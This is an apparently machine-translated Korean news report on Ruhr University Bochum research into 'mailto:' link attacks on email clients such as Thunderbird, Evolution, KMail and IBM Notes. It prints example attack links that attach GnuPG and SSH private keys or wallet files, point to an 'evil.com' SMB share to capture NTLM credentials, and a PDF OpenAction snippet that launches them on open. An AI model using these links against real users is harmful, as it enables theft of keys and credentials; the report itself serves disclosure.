"mailto:" 링크를 사용하여 이메일 클라이언트 사용자 공격

루르대학교 보훔(독일) 연구진 분석 (PDF) 확장 매개변수가 있는 "mailto:" 링크를 처리할 때 메일 클라이언트의 동작입니다. 조사한 20개의 이메일 클라이언트 중 5개가 "attach" 매개변수를 사용하여 리소스 대체를 조작하는 공격에 취약한 것으로 나타났습니다. 여섯 개의 이메일 클라이언트가 PGP 및 S/MIME 키 교환 공격에 취약한 것으로 나타났고, 세 개의 클라이언트가 암호화된 메시지 콘텐츠 추출 공격에 취약한 것으로 나타났습니다.

연결 "mailto :"링크에 지정된 수취인에게 편지를 쓰기 위해 이메일 클라이언트 열기를 자동화하는 데 사용됩니다. 주소 외에도 편지 제목, 일반적인 콘텐츠의 템플릿 등 링크의 일부로 추가 매개변수를 지정할 수 있습니다. 제안된 공격은 생성된 메시지에 첨부 파일을 첨부할 수 있는 "attach" 매개변수를 조작합니다.

메일 클라이언트 Thunderbird, GNOME Evolution(CVE-2020-11879), KDE KMail(CVE-2020-11880), IBM/HCL Notes(CVE-2020-4089) 및 Pegasus Mail은 자동으로 첨부할 수 있는 사소한 공격에 취약했습니다. "mailto:?attach=path_to_file"과 같은 링크를 통해 지정된 모든 로컬 파일. 파일은 경고 표시 없이 첨부되기 때문에, 사용자가 특별한 주의를 기울이지 않으면 편지가 첨부와 함께 전송된다는 것을 사용자가 눈치채지 못할 수도 있습니다.

예를 들어, "mailto:?to=user@example.com&subject=Title&body=Text&attach=~/.gnupg/secring.gpg"와 같은 링크를 사용하면 GnuPG에서 개인 키를 이메일에 삽입할 수 있습니다. 또한 암호화폐 지갑(~/.bitcoin/wallet.dat), SSH 키(~/.ssh/id_rsa) 및 사용자가 접근 가능한 모든 파일의 내용을 보낼 수도 있습니다. 게다가 Thunderbird에서는 "attach=/tmp/*.txt"와 같은 구문을 사용하여 마스크로 파일 그룹을 첨부할 수 있습니다.

로컬 파일 외에도 일부 이메일 클라이언트는 IMAP 서버의 네트워크 저장소 및 경로에 대한 링크를 처리합니다. 특히 IBM Notes를 사용하면 "attach=\\evil.com\dummyfile"과 같은 링크를 처리할 때 네트워크 디렉터리에서 파일을 전송할 수 있을 뿐만 아니라 공격자가 제어하는 ​​SMB 서버에 링크를 보내 NTLM 인증 매개변수를 가로챌 수 있습니다. (요청은 현재 인증 매개변수 사용자와 함께 전송됩니다).

Thunderbird는 "attach=imap:///fetch>UID>/INBOX>1/" 형식의 요청을 성공적으로 처리하며, 이를 통해 IMAP 서버의 폴더에서 콘텐츠를 첨부할 수 있습니다. 이 경우, IMAP에서 추출된 메시지는 OpenPGP와 S/MIME을 통해 암호화되어 전송되기 전에 메일 클라이언트에 의해 자동으로 암호 해독됩니다. Thunderbird의 개발자들은 통보 XNUMX월 문제와 이슈에 대해 썬더 버드 78 문제는 이미 해결되었습니다(Thunderbird 분기 52, 60 및 68은 여전히 ​​취약함).

Thunderbird의 이전 버전도 연구원들이 제안한 PGP와 S/MIME에 대한 두 가지 다른 공격에도 취약했습니다. 특히, 키 대체 공격은 Thunderbird뿐 아니라 OutLook, PostBox, eM Client, MailMate, R2Mail2에도 적용 가능한 것으로 나타났습니다. 이는 메일 클라이언트가 S/MIME 메시지로 전송된 새로운 인증서를 자동으로 가져와 설치하기 때문에 공격자가 사용자가 이미 저장한 공개 키를 대체할 수 있기 때문입니다.

Thunderbird, PostBox 및 MailMate가 취약한 두 번째 공격은 초안 메시지를 자동 저장하는 메커니즘의 기능을 조작하고 mailto 매개변수를 사용하여 암호화된 메시지의 암호 해독이나 임의 메시지에 대한 디지털 서명 추가를 시작하도록 허용합니다. 결과는 공격자의 IMAP 서버로 후속 전송됩니다. 이 공격에서는 암호문이 "body" 매개변수를 통해 전송되고 "meta Refresh" 태그를 사용하여 공격자의 IMAP 서버에 대한 호출을 시작합니다. 예를 들어: ' '

사용자 상호 작용 없이 "mailto:" 링크를 자동으로 처리하려면 특별히 설계된 PDF 문서를 사용할 수 있습니다. PDF의 OpenAction 작업을 사용하면 문서를 열 때 자동으로 mailto 처리기를 시작할 수 있습니다.

%PDF-1.5
1 0개
<< /유형 /카탈로그 /OpenAction [2 0 R] >>
엔도브

2 0개
<< /Type /Action /S /URI/URI (mailto:?body=——PGP 메시지 시작——[…])>>
엔도브

출처 : opennet.ru